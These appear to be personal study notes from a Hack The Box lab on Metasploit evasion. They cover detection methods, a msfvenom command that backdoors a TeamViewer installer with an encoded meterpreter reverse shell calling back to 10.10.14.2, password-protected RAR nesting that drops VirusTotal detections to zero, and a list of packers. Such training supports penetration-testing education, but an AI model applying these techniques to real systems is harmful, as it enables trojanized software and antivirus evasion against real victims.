There are multiple ways to match an event or object with a security policy entry:
| Security Policy | Description |
|---|---|
Signature-based Detection |
The operation of packets in the network and comparison with pre-built and pre-ordained attack patterns known as signatures. Any 100% match against these signatures will generate alarms. |
Heuristic / Statistical Anomaly Detection |
Behavioral comparison against an established baseline included modus-operandi signatures for known APTs (Advanced Persistent Threats). The baseline will identify the norm for the network and what protocols are commonly used. Any deviation from the maximum threshold will generate alarms. |
Stateful Protocol Analysis Detection |
Recognizing the divergence of protocols stated by event comparison using pre-built profiles of generally accepted definitions of non-malicious activity. |
Live-monitoring and Alerting (SOC-based) |
A team of analysts in a dedicated, in-house, or leased SOC (Security Operations Center) use live-feed software to monitor network activity and intermediate alarming systems for any potential threats, either deciding themselves if the threat should be actioned upon or letting the automated mechanisms take action instead. |
Most host-based anti-virus software nowadays relies mainly on Signature-based Detection to identify aspects of malicious code present in a software sample.
How do we circumvent all this heat? We play along with it. The examples shown in the Encoders section show that simply encoding payloads using different encoding schemes with multiple iterations is not enough for all AV products.
Moreover, merely establishing a channel of communication between the attacker and the victim can raise some alarms with the current capabilities of IDS/IPS products out there.
However, with the MSF6 release, msfconsole can tunnel AES-encrypted communication from any Meterpreter shell back to the attacker host, successfully encrypting the traffic as the payload is sent to the victim host. This mostly takes care of the network-based IDS/IPS.
We are in luck because msfvenom offers the option of using executable templates. This allows us to use some pre-set templates for executable files, inject our payload into them (no pun intended), and use any executable as a platform from which we can launch our attack.
Take a look at the snippet below to understand how msfvenom can embed payloads into any executable file:
Firewall and IDS/IPS Evasion
stejwes@htb[/htb]$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5
To improve our chances, we need to trigger the continuation of the normal execution of the launched application while pulling the payload in a separate thread from the main application. We do so with the -k flag as it appears above. However, even with the -k flag running, the target will only notice the running backdoor if they launch the backdoored executable template from a CLI environment.
we can also trick virus detection with pw protected rar files:
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
msf-virustotal -k <API key> -f test.js
Analysis Report: test.js (11 / 59)
archiving payload:
stejwes@htb[/htb]$ wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
stejwes@htb[/htb]$ tar -xzvf rarlinux-x64-612.tar.gz && cd rar
stejwes@htb[/htb]$ rar a ~/test.rar -p ~/test.js
mv test.rar test
rar a test2.rar -p test
stejwes@htb[/htb]$ mv test2.rar test2
stejwes@htb[/htb]$ ls
test test2 test.js
msf-virustotal -k <API key> -f test2
Analysis Report: test2 (0 / 49)
packers
The term Packer refers to the result of an executable compression process where the payload is packed together with an executable program and with the decompression code in one single file.
When run, the decompression code returns the backdoored executable to its original state, allowing for yet another layer of protection against file scanning mechanisms on target hosts.
This process takes place transparently for the compressed executable to be run the same way as the original executable while retaining all of the original functionality. In addition, msfvenom provides the ability to compress and change the file structure of a backdoored executable and encrypt the underlying process structure.
A list of popular packer software: UPX packer The Enigma Protector MPRESS| Alternate EXE Packer ExeStealth Morphine MEW Themida
If we want to learn more about packers, please check out the PolyPack project.